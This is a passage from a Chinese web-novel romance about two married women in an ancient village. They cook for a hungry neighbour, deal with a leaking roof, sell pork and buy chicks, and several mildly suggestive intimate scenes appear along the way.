馋死了馋死了。 明明是京城来的大家闺秀,但吃饭的姿势…… 宋渝归不忍目睹。 她一边大口吃饭吃菜,一边含糊着说,“我觉得煎的最好吃!” 宋渝归:…… “好吃你就多吃点。” 她和惜枝也尝了一块煎的腐皮包肉,但觉得蒸起来的吸饱了汤汁,味道更好。 煎是用猪油煎,有些过于油腻了。 池厢月就着一盘腐皮包肉,猛吃了三大碗饭,看的宋渝归与沈惜枝一愣一愣的。 待吃完第三碗还欲去盛时,终于被人匆匆忙忙拦住,没料想她能吃这么多的沈惜枝挎着一张小脸,“你怎么还没吃饱,我妻君才吃了一碗!” 她是按着量煮的米饭,不想浪费,妻君两碗她一碗,池姑娘往日也是吃两碗的,今日却吃了三碗还不够! 再吃下去,我妻君吃什么? 沈惜枝不情不愿。 池厢月尴尬的挠了挠后脑勺,“那,我饿嘛,今日动的多,胃口就好一些,我把你家的猪都喂完了。” 以前池厢月要进来玩会喊她开门,她们若不在就不进来了,熟了以后,她都自己跳进院子里喂鸡,然后等她们回来,今日更是……连猪都给她们喂好了。 有你这么爱干活的邻居真是我的福气。 为着今日不用大老远跑去山上割猪草喂猪,宋渝归拉住不想给她吃的惜枝,“让她吃吧,来者是客。” 沈惜枝:! 她幽怨的瞪了妻子一眼,“可是你都不够吃了。” “没事,晚上我们开小灶,做点别的吃。” “开什么小灶,我也要吃!” 就知道吃这句话应该送给女主才是。 只爱干活和吃,很符合她种田文女主的身份。 “我去盛一半,留一半给你。” 宋渝归不大在意的点头,又在她走后小声说,“不带她,我们偷偷吃。” 堂前传来池厢月大喇喇的声音,“我听得见,我要吃!明天你家的猪草我也包了!” 这真是让人无法拒绝的诱惑。 宋渝归立马又改了口风,“带上她吧,她现在吃的这么多,晚上一定吃不下了。” 沈惜枝刚要不满,便被妻子温温柔柔安抚住了。 “那,那好吧,晚上你想吃肉酱面吗?” “你会做了?” “嗯嗯,我后来偷偷试过了,现在做的很好的!” 那段时间妻君中午都没空回来,她便自己尝试做妻君口中的肉酱面,可酱总是弄不好,很难吃,她不想浪费食物,便自己偷摸吃完了,终于有一天,她做出了完美的肉酱! 她能做的很好了,入口也很好吃很好吃,才敢来妻君面前献宝,避免她空欢喜一场。 看出妻子有些小得意的表情,宋渝归立马会意开始夸她,“哇,我家惜枝就是聪明,这都能学会,简直是是村里最漂亮聪慧的小姑娘!” 沈惜枝脸红害羞,“不,不是小姑娘了。” “嫁给我了也是小姑娘,永远都是小姑娘。” 池厢月就顶着这等十分排外的甜蜜气氛跑进来,坚强要求,“我要吃两碗!” 沈惜枝:…… “你还能吃得下?” 两人齐齐震惊,池厢月撩了撩裙摆,安然坐下,“当然,小意思。” 区区两碗面,惜枝拿给渝归吃的,能是差东西吗! 吃不下也得吃! 两碗面而已,还不至于给不起,沈惜枝没说什么。 她心里美滋滋的,昨日妻君很生气,收拾了我一顿,今天早上她也很生气,不让我去镇上,我去镇上找她时她还是生气,凶我,可是我哭过之后,她就没有那么生气了。 想到妻君那时对自己露出无可奈何的神色来,白玉似的耳朵便不自觉染上红晕。 她知道怎么哄妻君了。 她知道了,妻君最舍不得她哭,榻上时除外。 在榻上,妻君还挺喜欢她哭的。 想到令人不好意思的事,沈惜枝莫名扭捏两下,小脸在众人看不见的地方黄黄的,宋渝归盛了最后半碗饭出来,一见她扭来扭去,就拍了拍她后背,“好好吃饭,别动来动去的。” “哦。” 惜枝应了一声,乖乖埋头吃饭,她吃的慢条斯理,池厢月都下去三碗半了,她才吃到一半,动作倒是好看极了,虽每口都吃的不多,但不知为何,腮帮子就是鼓鼓囊囊的,宋渝归没忍住,伸出食指戳了一下,小姑娘嘴里的饭差点掉出来。 抬头一脸茫然看去,“妻君?” 宋渝归轻咳两声,觉得自己打扰人家吃饭很不道德,“没事,你吃吧。” 池厢月目睹了一切,手指蠢蠢欲动。 直到两道视线同时落在她身上,宋渝归的情绪浮于表面,瞪着眼睛,一脸你敢戳我媳妇儿??? 沈惜枝只用余光看了她,眼里还带着未散去的亲昵温软,却莫名叫人觉得被警告了。 池厢月:默默收回爪子。 第58章 漏水的破屋子,小媳妇儿无助抱紧妻子 两人吃的肚子微微撑到才赶走池厢月爬上床,今日下过雨,外头有些湿冷,路也不好走,就暂且不去散步消食了。 上床后,宋渝归下意识去搂沈惜枝。 沈惜枝也同样,一上床就下意识往她怀里钻。 两人靠在床头,枝枝抱怨,“那池姑娘真的吃的好多好多,她胃口怎么这么大呀,下次再留她吃饭,我得给她一个人准备三个人的饭了!” 不满/ 宋渝归努力消化,媳妇儿做的肉酱面真好吃,回味中,过了一会儿才道, “人家习武之人,从小胃口就大,好歹每次过来也没闲着,我们体谅一下。” 沈惜枝鼓了鼓腮帮子,倒也没说什么,她本就不讨厌池厢月,只是想和妻子说会儿话,说什么都行。 因此默默往妻子怀里又蹭了蹭,毛茸茸的发顶抵在她纤长的脖颈上。 “我明天还想跟你一起去镇上。” 怀里人小声要求。 宋渝归就不明白了,去镇上有什么好的?工作就这么吸引你吗? 天知道我每天早起都想罢工! 要不是……这死茅屋破破烂烂,而我想住的好一点。 哎。 宋渝归长叹一口气,忽然想到什么,用商量的口吻道,“这样,明日我带你一同去杀猪,杀完了以后你把猪带去镇上卖,我在家里再待着等你回来,你看成吗?” 既满足了我想罢工的想法,又满足了热爱工作的妻子。 太完美了简直,我怎么能这么聪明! 沈惜枝双眸呆滞,不敢置信的看着妻子,最后生气了,从她怀里爬出来,小脸鼓鼓囊囊的,“你,我要跟你一起去,我不要一个人去!” 怎么还要一起去啊,小沈同学,你工作态度一点也不认真! 偷懒不成功,宋渝归有些失落,“那有什么好去的,这么累。” 身前人又一脑袋扎进她怀里,生气的鼓着腮帮子,小声,“我不觉得累,跟你在一起就不累!” 很快乐的,妻君不懂,她没有我那么喜欢她,所以不懂我黏人,哼。 “想不到我还能这么有用。” 宋渝归叹了一口气,眼神复杂。 这么有精力的身体给她该多好啊。 痛心疾首。 在这除了媳妇娇娇软软,工作那是真的累。 又躺了一会儿,感觉自己的胃消化一些了,不再那么饱胀,宋渝归一拍媳妇儿屁股,“睡觉!” 沈惜枝被拍的神色晃动一下,有些羞,很快就不生气了,一边脱衣服一边想,妻君真不老实,每次都找机会打我那,那里…… 不老实的宋渝归并不知妻子所想,她的目光已经不由自主被吸引住了。 雪白的小腰,圆润而大,形似水滴的…… 住脑,莫要在心里有那些污秽的想法! 等等,不对,她是我媳妇儿,我污秽一下怎么了? 宋渝归又站起来了。 她甚至伸手,轻轻摸了两下。 黑夜遮住了她红透的脸颊,也遮住了惜枝的神色。 不然……看着惜枝,她真不好意思摸,脸皮很薄的来着。 沈惜枝脸红的快要烧起来了。 她不是第一次这样摸她,但这是她说过喜欢她后,第一次不生气的摸她。 她能感觉到妻子的温柔与……对她这处的喜欢。 于是娇软的身子又往她那边凑了凑,让她抬手就能摸到,甚至还小声问,“妻君要吃吗?” “不吃,我又不是小孩子了。” 宋渝归脸红且心跳加速。 沈惜枝认真道,“不是小孩也可以吃粉,我那日见你爱吃唔……” 话没说完就被宋渝归震惊的捂住了嘴,屋里没有别人,但她不想让空气偷听窥视她! “我不是我没有,别胡说!” 沈惜枝水润润的眼眸看着她,模样乖巧纯真,像一只无辜小猫,待她松开后,她软软道,“可是你明明吃的很高兴呀,” 宋渝归:…… 有吗,我怎么不记得了! “胡言乱语,明明是你强迫我吃的!” 世上真有如此厚颜无耻之人。 沈惜枝怨念的瞪妻子,“可是,可是你不想吃,我又能如何强迫你?我一塞你嘴,你就张开了。” 根本不需要多费口舌,这难道不算是爱吃吗? 宋渝归:…… 那明明是你趁我说话的时候塞进去的!我没有咬你,就代表爱吃吗?!! 那我要是咬了你,你还不知道得疼成什么样呢! 宋渝归梗着脖子,想反驳的,但最后没有说出口,算了,妻妻之间,也不必想那般多。 误会就误会。 她不说话了,沈惜枝又凑过去,小声问,“那你到底吃不吃嘛。” 宋渝归揉了揉眉心,面无表情,冷酷无比,吐出一个字,“吃。” “哦。” 娇嫩之处便被人主动送上门来,宋渝归只需微微低头,就嘬到了。 她从小喝的就是奶粉,还是来到古代后才吃到…… …… 一刻钟后,两个害羞的姑娘躺下了,沈惜枝还好一点,宋渝归不好意思的浑身都红了。 小媳妇儿往人怀里钻了钻,声音软软,带着些许娇俏的埋怨,“你摸摸,是不是破皮了?都怪你,这般用力。” 吸就吸了,还咬人! 妻君是小狗。 宋渝归心虚的伸出手指去摸,啊,好像还真破了。 她又连忙爬起来,有点着急,“你等等,我给你拿点药抹一下。” “哎……” 沈惜枝伸出手指想拦,想说不必了,很快就会好的,可身旁的妻子已经利落下床了。 她点了油灯找到一盒膏药,回来给人细细涂抹。 沈惜枝还颇为不情愿,嘟了嘟嘴巴,“可是涂了药你一会儿就不能含着睡了。” 被宋渝归涂好后弹了一下脑门,抬头看她一眼,“胡言乱语,谁说我要含着睡了?” 又不是小孩子,需要一个安抚奶嘴。 被打了一下后,人才安分了,缩了缩脖子,满脸无辜,“哦,我以为你喜欢呢。” 风评被害。 她不想再谈论这个问题,总感觉越说越显得自己色色的。 “算了,睡觉,别说些有的没的。” 沈惜枝一点一点趴下,钻进她怀里,“好,妻君困了吗。” “嗯,困了,每天起这么早,现在天一黑我就困了。” 而且今天都没有午睡,早就困发财了。 “好吧。” 沈惜枝声音里还有些失落,她本来想着…… 算了,不想了,正经女子不该想那些的,就算寻常夫妻应也没有日日都来的,不能叫妻君觉得她太过渴求,不想了不想了。 小姑娘乖乖把脸埋进妻子胸口,宋渝归刚闭上的眼睛就皱了皱,抬头,“你脸怎么这么烫,发热了?” 随着话音落,那小脸更烫了。 小媳妇儿抿着小嘴,气她不知给自己面子,问的如此直白,还猜错了,有些恼,“哪里烫了,你,你别胡说,快抱着我睡觉呀。” 我胡说? “明明就很烫。” 她又伸手摸了两下,沈惜枝坚持自己没事,也不烫。 “真没事?” 她将人从自己怀里捞出来,额头抵在对方额头上,感受了好一会儿,松了口气,热是热,但没到发热的程度。 那就好。 “可能今天天气有点热吧。” 沈惜枝不敢将羞怯的模样露在她面前,即使天色幽暗,她八成看不着。 “哦。” 宋渝归应了一声,没有丝毫怀疑的接受了这个解释,然后默默躺下。 沈惜枝便躺在她身侧,被她一只手揽着后脑勺,一只手兜着软软的臀瓣,拥进怀里。 这样的姿势她就很喜欢。 圆润娇嫩的胸口戴上肚兜后又被压的扁扁的。 半夜,屋外忽而下起大雨。 雨声滴滴答答落进屋里,宋渝归睡得正熟,被雨声吵醒,下意识想搂一搂怀里人,却发现搂空了,她霎时惊醒,抬手一摸, 床上冰冰凉凉,人早已不在了。 直到微弱的烛光从堂前穿过,她看见妻子提着个小桶进来。 宋渝归一愣,声音沙哑,爬起来一点,“你怎么起来了,这么晚,睡不着吗?” 沈惜枝见妻君醒了,便有些踟躇自责,“是我声音太大吵到你了吗?” 摇摇头,“不是,我听见下雨声醒了,你在干嘛?” 沈惜枝小小的啊了一声,才说,“家里漏水了,我在找东西接水。” 宋渝归:??? 她差点跳起来了,“家里漏水了?我说咋一直滴答滴答的呢,那你怎么不叫我啊,快快快,快到床上来。” 沈惜枝被她抬手召唤,有些茫然的过去了,站在她面前仍旧是乖乖的模样。 宋渝归却在看清她全身的时候顿了一下,险些发出尖锐爆鸣。 顾忌着左右邻居会听见,她勉强压低了声音,咬牙切齿,“你怎么也不穿件衣服!” 就这样……什么也不穿在屋里走来走去,像什么样子?! 听她如此震惊,沈惜枝反倒觉得不解,茫然问,“为何要穿衣服,是晚上呀,而且在我们自己屋里,不会有人看见的。” “那,那也不能……” 她就算在自己家,也不敢光着身子走来走去啊,虽然知道没人,但她就是有一种莫名的羞耻! 沈惜枝怎么能,怎么能这么大胆! “下次除了在床上,不许不穿衣服,快上床,剩下的我来弄。” 被训了,小姑娘委屈的撇撇嘴,将油灯放去一边,双膝跪在床上,踢掉趿拉着的绣花鞋,脚后跟被冻的通红。 宋渝归伸手摸了一把,冰凉的,眉心微皱。 沈惜枝察觉她不高兴了,心虚。 “不,不冷的。” “呵,给我好好待着。” “哦。” 沈惜枝坐在被子里,厚厚的被子还被人拎起来,把她整个包裹住了,她便像猫儿一样缩在里面。 又乖又可爱,让人对她发不出脾气来。 漏水的地方是屋顶,俩小姑娘没有一个会修屋顶的,只能等明日再说。 宋渝归拎了木盆去接水,粗粗观察一下,家中竟有三处漏了水。 “我明日找人来修一下屋顶,今晚先睡吧,冷不冷?” 宋渝归躺进被子里,里头已经被沈惜枝暖的热乎乎了。 顺手抱住妻子问。 沈惜枝屁股被兜住,几乎是坐在她怀里,摇头,“不冷,你累不累啊。” 昨日辛苦了那样久,晚上又没有睡好,定是很累。 “没事,不累,今天多睡会儿,明天晚点去镇上就是了。” “嗯嗯,那我早上给你煮面条吃。” “好。” 惜枝本来也很困了,她睡眠要浅一些,早早听见漏雨的声音便起来收拾,现在浑身都困的不行,说完话闭上眼睛就睡过去了。 宋渝归心里还不住想着家里十两银子的余粮,这房子住不得了,下雨天都漏成这样,哪天台风来了不得把我吹的七零八落的,但若要重新盖,最好还是扩一扩,又得不少银钱。 普通房子重修也不过十两银,但她想做成青砖瓦房,价格便是翻倍不止,至少也得准备五十两银。 五十两啊…… 她现在才完成了五分之一,那日给惜枝买衣服首饰便花了五两多,早知道不给她买了,回去就被乱绑一通。 现在毕竟离事发时间不远,想到那件事,她还是有点生气,悄悄抬手打了雪白绵软的某处一下。 在黑夜里发出清脆的啪声。 沈惜枝在她怀里嘤咛出声,却连眼睛都没有睁开,小脸一蹭一蹭的,只一句小小的轻轻的,仿佛嘟囔一般的,“别,别打呀,轻一点。” 好乖。 只打了一下,宋渝归就没舍得再打第二下,手指轻轻揉着两瓣被打到的软肉,“嗯,你睡吧,我不打了。” 小屁股又被主人指使,往打她的人手心上蹭了蹭。 很快,宋渝归也睡了,第二天不再是漏夜出门,天蒙蒙亮才出去,昨儿下了大雨,她们接水用的盆都要满了。 宋渝归没带惜枝去镇上,但交代了她活儿,让她等隔壁的宋叔醒了后请对方帮忙修一下屋顶,又给她留了银钱。 家中有事,沈惜枝也不是真不懂事,乖乖就留下了。 天气这般不好,若是平时,她都有点不想出摊了,毕竟银子挣得也不算少,但是…… 房子又不行了,原主真是给留了好大一个烂摊子。 宋渝归简直要给人翻白眼。 今日的雨比昨日还大,来买肉的人更少,粗粗算了下只卖了小半出去,赚二千八百文,她也不在镇上耗着,见雨停立马收拾收拾回家,等会儿又下大雨了可要麻烦许多。 等回到家,宋叔已经爬上她们的屋顶帮忙弄了,李大娘与沈惜枝在下头帮忙扶着爬梯。 宋渝归笑着从推车上取下一块早就准备好的五花肉送过去,“今天麻烦宋叔帮忙了。” 这李大娘能收? “你这孩子,之前就送过了,邻里邻居的互相帮忙本就是应该的,这是做什么,你和惜枝过日子也不容易。” “您拿着吧,我和惜枝还有呢,吃都吃不完。” 她一如那日,给李大娘强塞了肉,等宋叔下来时又要给宋叔结工钱。 平时修个屋顶,通常会要五十文,但宋叔一来关照小辈,二来她家总往他们家里送东西,他哪好意思按原价拿啊,便只数了十文走,多余的说什么也不肯要了。 沈惜枝早便在屋檐下乖乖等着妻君,见这里的事了,她快步过来,拉过妻子的手,声音软软,“今日回来的好早,我给妻君煮饭好不好?上次你说想吃肉沫蒸蛋,中午吃这个?” “好呀好呀,有两种做法,我们都做一遍。” “嗯,你教我。” 这两道菜做起来并不难,材料也很好寻,古代许是有,但她偶尔去酒楼吃时并没有吃到过这些菜。 池厢月不知宋渝归今日中午就回来了,出去乱玩一通顺带割了猪草,完成昨天的承诺,就要来找沈惜枝闲聊,谁料从门口跳进去,骤然闻到一股蛋香与肉香,香的要不行了。 她在门口喊人,“惜枝,你在吃饭吗,我来找你玩了!” 沈惜枝捂了捂耳朵,好像对池厢月为何而来十分清楚,开口便是冷漠无情的一句,“我们已经吃完了,池姑娘请回吧。” 池厢月震惊不敢置信,从门口佯装踉跄的走进去,果然对上两个吃的差不多了的碗。 她心碎,指责,“你们怎么不等我!” “你也没和我们约好啊。” 池厢月:…… “呜呜呜我不管,我以后要跟你们一起吃饭!” 龟龟沉默:“那你爹呢?” “让他自己去吃!” “我爹做饭做的天下第一难吃,平时也就去酒楼买的菜能入口一些,但也没有惜枝你做的十分之一好吃!” “你若开个酒楼,我一定日日去捧场!” 觉得沈惜枝可以开酒楼的话她已经说过多遍了,宋渝归何尝没有考量,女子若要站得稳,自然也要有一技之长,但是,她现在还没有钱。 她也不可能要女主的钱,要了旁人的钱多会受制于人,就算是女主她也无法信任。 如果要开店,也一定是征求了惜枝的同意,用她的钱去开,就算赔了也没关系,赔了再赚嘛。 宋渝归笑笑不说话,沈惜枝抿了抿唇,拒绝,“不要,我要陪妻君卖肉。” 她素来十分黏人,想到开店很忙,没有时间和妻子黏黏糊糊,心里就有些不高兴。 池厢月长叹一口气,两只手捧着脸仿佛很不好意思似的,“那我就只能厚着脸皮,继续不花钱吃饭了。” 宋渝归:…… “没人不让你吃,吃就是了。” “下次,你们做好吃的一定要喊我!中午我就先凑合一下,我爹一会儿给我送饭来。” “嗯,惜枝晚上做什么?” “我看妻君带回来一块猪肝,晚上炒猪肝吃吧。” “好。” “多炒点,我也要吃。” “一只猪就一块猪肝,多也没有,再做个五花肉炒白菜吧。” 然而池厢月的野心不止于此,强力要求,“还要加你们中午吃的菜!” 沈惜枝:…… 一顿饭吃三个荤菜有点超出她接受范围之内了,默默把五花肉炒白菜划掉,点头答应。 等池厢月在这坐了一会儿,跑出去玩了,沈惜枝才一点一点挪进妻子怀里,娇臀坐着她大腿,胸口蹭在她脸上,抱着她,“我都想你了。” 宋渝归将她手臂取下来,揉了两下,“嗯,感应到了,所以我这不是回来了吗。” 她开着玩笑,沈惜枝勾了勾唇角,坐在人身上晃啊晃,“明日我要和你一起去镇上。” 宋渝归挑了挑眉,但她还没来得及说话,又被沈惜枝眼疾手快捂住嘴。 纤长白嫩的手指落在她唇上,像小鹿一样漂亮水灵的眼睛也在瞪她,“我去镇上是想买几只小鸡崽子养,不是去无所事事故意缠着你的,你不能说我!” 宋渝归:…… 她又急又快又有点生气的说完,对面人却没什么反正,只是安静的看着她,又将她看心虚了,底气不足问,“你,你怎么不说话啊……” 宋渝归视线默默往下移,落在捂住自己嘴的手上。 沈惜枝跟着看过去,小脸一红,咻一下就把手收回去了。 抵在她胸口推了推,“那,那你现在说话嘛。” “要去就去,我又没说不能去,急什么。” 她无奈笑了笑,一口答应下来。 沈惜枝这才脸色好看些许,乖乖依在她怀里。 “我还以为你又要拒绝我了!” “你总是不肯让我陪在你身边。” “还不是怕你累,总起这样早,身体要熬坏了。” “那你呢,只顾着我的身体,你呢?” “你身子弱,我身子可比你强多了。” 原主每天追着十几个姑娘跑,那不纯纯锻炼身体吗?! “反正我不同意,除非你把我关起来,不然等你出门,我自会跟过去的。” 她已经不是当初想找妻君却不认路的她了! 哼。 “行行行,随你行吗,我可算管不了你了。” 宋渝归故意自嘲。 沈惜枝又扑过去,勾着她的脖子,亲了亲她的脸,“管得了的,我只是太想和你在一起了,我可以帮你收钱打下手!除了这件事,以后我什么事都归你管。” 行吧行吧,媳妇儿撒起娇来,她也抵挡不住,反正最后都只能顺了她的,何必再反对让她生气。 生气也伤身。 第59章 舒服吗 连下了几日春雨,第二日终于天晴了。 宋渝归拉着昨日没卖完的肉去镇上,沈惜枝也收拾收拾,穿上她们吵架那日妻子给她买的新衣裳,戴上同样是那日妻子买的首饰,又被强行包了一件披风,乖乖跟在后面走。 一边走一边夸人,“妻君真会买衣服,都好好看,我好喜欢。” 那声音里带着轻微的讨好,神色也温软极了,显然是怕她想起那日的事情又生气。 宋渝归心想,打都打过了,欺负也是上上下下里里外外都欺负了一通,有什么好再生气的。 况且,她一生气惜枝就哭,啪嗒啪嗒掉眼泪珠子,眼眶通红的看着她,这谁能生气的下去? “嗯,喜欢就好,一会儿你若坐着无聊,就自己拿钱再买几件。” 虽然造房子急需银钱,但也不能亏待了媳妇儿,沈惜枝……一个原本喜欢男子的大反派,好端端被她掰弯了,现在跟着她过日子,她肯定要对她最最好。 谁知沈惜枝对这方面格外警惕,一听她让她自己买,立马抬头反口道,“我不要,我要你买。” “我没空啊,我卖肉哪有功夫去给你买。” “那就等你有空了再买。” “……” “行吧,随便你。” 她的声音听不出喜怒。 沈惜枝抿了抿唇,怕她是生气了,又小心翼翼的伸手抱住她一条胳膊,语气软乎下来,“你不要生我的气,不买也可以的,我以后都听话。” 宋渝归低头瞥了她一眼,见她又是可怜兮兮的,轻哼一声,“谁生气了,别装可怜。” 沈惜枝仰面,精致如画的小脸抬起望着她:“我怕你又要罚我了。” 若只是榻上的惩罚也就罢了,可她生气极了,还会说以后都不给她买东西了,那语气就仿佛在说,我以后都不对你好了,不喜欢你了,甚至要开始讨厌你了。 她想到就有一点难过。 不可以不买,不可以不喜欢。 “你做错了事我才会罚你,若不然好好的,罚你作甚?” 她哪里是那般不讲理的人? 家里只有惜枝不讲理。 沈惜枝依旧仰面望着她,弯了弯眸子,笑的有些温柔,轻声应了,“嗯,我以后都不会再做错事了。” 这话谁信谁就是大傻子,哪有人能几十年不做错事的,如此明显的假话也敢说。 “笨蛋。” 她低低骂了一句,沈惜枝刚低下头有些害羞,闻言,顿时不满的看向她。 “不是笨蛋,我是你的妻子!” 小姑娘强调,哪有说自己妻子是笨蛋的! 她要生气了。 宋渝归被她握着拳头鼓着腮帮子的模样逗笑,唇角忍不住勾出上扬的弧度。 沈惜枝见她笑,愣了一下,嘴角慢慢抿起,妻君高兴,好看,不生她气了。 两人到镇上摆了摊,因猪肉是昨儿卖剩下的,今日就卖的便宜一些,三十一文一斤,比昨日便宜了四文,买四斤以上还能送二两肉。 买的多送肉的事,在这个小镇上真是见所未见,闻所未闻,既降价又送肉,就算是隔夜肉也很受欢迎。 来往的客人很多,连带着附近的菜摊都生意好了些,每个人脸上喜气洋洋的,纷纷上宋渝归这儿买了一些肉,有的还两人一块儿,共买四斤,送的二两回去后再分就是了。 肉不到午时,就成功卖完。 卖了三千八百文,粗粗计算,这只猪盈利了六百文左右。 卖了两日,一日便是三百文工钱,还算不错,刚来这镇上,她一月也不过三百文。 “今日有什么特别想吃的吗?” 收摊时她随口问。 沈惜枝望了望左右的摊子,摇摇头,“没有,妻君想吃什么?” “鱼,红烧的。” “嗯,那就吃鱼,我也想吃鱼呢。” 她是个小学人精,妻君爱吃什么,她也爱吃什么。 “然后再炒个胡萝卜好不好?妻君也要多吃蔬菜!” 她的妻君最喜欢吃肉了,蔬菜反倒吃的少,这样也不行啊。 “知道了知道了,管家婆——” 她故意拉长了语调说话。 沈惜枝小脸红彤彤的,管着妻子的经历她也没有过,第一次被人如此称呼,很新奇,但很喜欢。 两人沿着街边走,在婆婆那挑了一尾甩着尾巴的肥硕鳊鱼,正要走了,沈惜枝忽然停住,唤了声,“宋姑娘。” “嗯?” 宋渝归顺着她的视线望去,只见一身青绿长裙的女子坐在鱼摊旁边,卖着菜,她方才没有注意,骤然看见,也顺着惜枝打了个招呼,“宋姑娘。” 宋心雨笑了笑,“你们要回去了吗?” 她以为会是宋渝归先发现她的,结果她全程只顾着看鱼,倒是沈惜枝看了她好几眼,最后唤了她,与她打招呼。 宋渝归也是在沈惜枝唤她之后才看见她的。 她们如今……是一对恩爱妻妻。 “嗯,对,过来买点菜就回去。” “你们今晚做鱼?喝鱼汤吗,要不要加点菌菇进去,我昨日去山上摘了一点菌菇,新鲜的,送给你们,不要你们钱。” 她说着就想给两人包一些,被宋渝归连忙拒绝了,“不用了,我们吃红烧的,不喝鱼汤,多谢宋姑娘好意。” 礼貌微笑。 只是和宋心雨说两句话,她媳妇儿就要发疯,若接了宋心雨送的东西…… 那后果,宋渝归简直不敢想。 宋心雨的动作顿了顿,也没有继续坚持,失魂落魄的放下手里的菇。 沈惜枝见状,手指紧张的缩了缩,不由开口,“宋姑娘,你……还好吗?” 她想起池厢月说得那件事。 宋心雨一顿,茫然抬头,“我还好啊,怎么了?” “没,没事。” 她见对方神思不属,以为她正因未婚夫去世的事而难过,虽然那等男子恶心至极,她觉得死了真是大快人心,但女子素来感性,会难过也……也是很正常的事,不过宋姑娘看起来也并不是在为那件事难过,是她多虑了。 “那我们先走了。” “嗯。” “等一下,还没买小鸡呢。” “哦,差点忘了。” 春天到了,不似冬天天冷,小鸡这会子买也养得活。 宋渝归被拉住,纤长手指握着她手心。 沈惜枝回头询问宋心雨,“宋姑娘知道现在哪里还有小鸡卖吗?” “就在前面就有,你们稍微走一点路。” 她们家养了鸡她是知道的,那鸡日子过得比她都舒服,每日精米喂养,还自由自在,半分不受拘束。 “好,多谢宋姑娘。” 两人一同过去,一口气挑了五只活泼的小鸡崽。 宋渝归看一眼天色,已经午时了,无奈道,“早便叫你自己来买,你不肯来,非要和我一起来。” 沈惜枝拿手指去戳小鸡黄澄澄的脑子,将鸡戳的东倒西歪,红着小脸,不敢反驳。 她没有注意时间。 但怕妻君不高兴,又立马道,“我们在镇上吃午饭吧,这样就不用等很久才吃饭了,妻君想吃饭还是面?” “那还是吃面吧。” 吃惯了惜枝做的饭,外面的饭简直难以入口,都不如惜枝的好吃。 面倒是还行。 “嗯,那就吃面。” 两人寻了一家没吃过的面馆子,将装着小鸡崽子的笼子也拎进去,宋渝归唤来店小二,开口要了两碗牛肉面,将沈惜枝想要一碗青菜面的话堵在口中。 沈惜枝:…… 别别扭扭坐下去,“我不像你挑食,我很爱吃青菜的!” 她强调,自己是因为爱吃,可不是想省钱! 宋渝归一脸怪异的看了她,像看什么笨蛋一样,过了会儿才说,“牛肉面里也有青菜,牛肉面只是比青菜面多加了一份牛肉而已,你爱吃青菜,那吃牛肉面也是一样的。” 沈惜枝:…… 她不知道,不知道就不知道了,自己还将自己气恼了,瞪了宋渝归一眼,低下头好一会儿,又小声说,“加几片牛肉就贵了七文!不值得的。” “牛是耕物,价贵也很正常,我就偶尔带你来吃一下,高兴点?若是我自己吃牛肉的,却真让你吃素面,你才该哭了呢。” 哪有这么坏的人啊,连自己的妻子都虐待,真这么做了,说明心底并不看重惜枝。 沈惜枝黏人的贴在她身边,抱着她的手臂,声音软软乎乎,“可是我想省些银钱嘛,你之前说要修房子,是真的吗?” 昨夜漏水,不止宋渝归生了这样的想法,沈惜枝亦是。 提起这事,宋渝归神色认真几分,“自然是真的,我怎可能一辈子让你住在这破茅草屋里。” 原主脑子有泡,每日赚这样多不想着改善一下生活,竟全扔旁的女子身上,害得她还得从头开始。 沈惜枝听见最后一句话,小脸莫名红了红,软软乎乎说话,“那我们平时要省着点银钱用呀。” “那也不该委屈你。” 就算要省,宋渝归可以从自己身上省,但绝不会从老婆身上省! 沈惜枝听见这话心里其实美极了,但不好意思表露出来,轻咳一声,佯装正经,“哦。” 两碗面冒着热气端上来,上头都盖着一层薄薄的牛肉,这次她没有多说什么,低头安静的吃起来。 一碗牛肉面十五文,付了三十文后,两人一起推着车子,将小鸡放在推车上回家。 才到家门口的小黄土坡,就见池厢月生无可恋的坐在院子里,整个人没有骨头似的靠着椅背,情绪低落非常。 第一次看她这么难过,宋渝归觉得新奇,“池姑娘,这是怎么了,谁惹你不高兴了?” 池厢月大老远就听见车轱辘的声音了,故意不理她们,直到宋渝归说话了才幽幽的望过去。 宋渝归挑了挑眉,“这是怎么了?不能是我惹你了吧。” 天地良心,我可一大早就出门了。 池厢月气的眉毛都要竖起来了,“我把你家鸡都喂完了,你们怎么才回来!” 昨日宋渝归回来的早,她没赶上饭,今日她便早早在她家门口蹲着了,谁知今日回来的又这样晚,饿的她头晕眼花。 宋渝归还没发现池厢月是来干饭的,一边打开栅栏,把车推进去,一边淡淡道,“我们在镇上吃了午饭啊,怎么了?” 池厢月顿感天旋地转,瞪大眼睛,不敢相信自己听到了什么,心都碎了,“你们,吃过了?” 沈惜枝帮着收拾东西,神色有些茫然,“怎么啦,我们卖完已经很晚了,就在镇上吃了面。” 指着两人的手都在抖,两两相望,唯余失望。 “知道吗,我为了等你们吃饭,饿到现在。” 池厢月力竭,趴在椅子上。 宋渝归:…… “你爹没给你饭吃吗?” 说到此处,她更绝望了,“我爹说中午回来给我做饭,我特意拒绝了,我说要来你家吃饭。” 啊,这真是好巧啊。 宋渝归尴尬一笑,“那……给你炒个白菜?” 家里一直有种白菜,也就这个最方便了,不用出去摘。 “不要,我不吃素的,我今日把你家鸡也喂完了猪也喂完了,就只配吃点烂菜叶子吗?” “我家里有很多菌菇,你家有肉吗?” 池厢月眼巴巴。 “菌菇?宋姑娘送你的?” “我和她一起去山上摘的!” “哇哦,真厉害。” 女主真的喜欢上蹿下跳,原著里到底是怎么耐住性子每天锄地的仍是一个谜。 池厢月不满的瞥了宋渝归一眼,“你夸的让我有点渗的慌,一点都不真心。” 夸你就不错了,事还挺多。 “那我给你煮碗面吧,渝归姐姐也再吃一点。” “行,给我也煮一碗。” 镇上一碗面十五,她平时要吃两碗,两碗便是三十文,有点贵,就只买了一碗,填填肚子就行。 “我要吃两碗,不,三碗。”思及自己饿了这么久,池厢月默默从两根手指,变成了三根手指。 沈惜枝对她的胃口早有预料,点头回屋揉面去了,池厢月也急忙回家拿菌菇,去了宋家,用她们家的井水清洗一遍。 这活儿还真只能她干,春水寒凉,她是习武之人,不畏寒冷,就算洗了菌菇,也不会有刺入骨缝的寒冷感觉。 趁着打扰的人还没来,宋渝归正在屋里抱着揉面的沈惜枝。 “累不累?明日要不然在家休息一下,别去镇上了。” 沈惜枝用侧脸蹭了蹭妻子脸颊,婉拒,“我不觉得累,你别留我一个人在家里,我害怕。” “那好吧。” 她继续抱着妻子纤细的小腰儿,下巴搁在她肩膀上,一只手落在小腹,原本安静看着她揉面,偶尔说两句话,气氛也有些宁静,忽而那只手就不知怎么的不老实起来,默默往上爬,直到拢住半颗水滴。 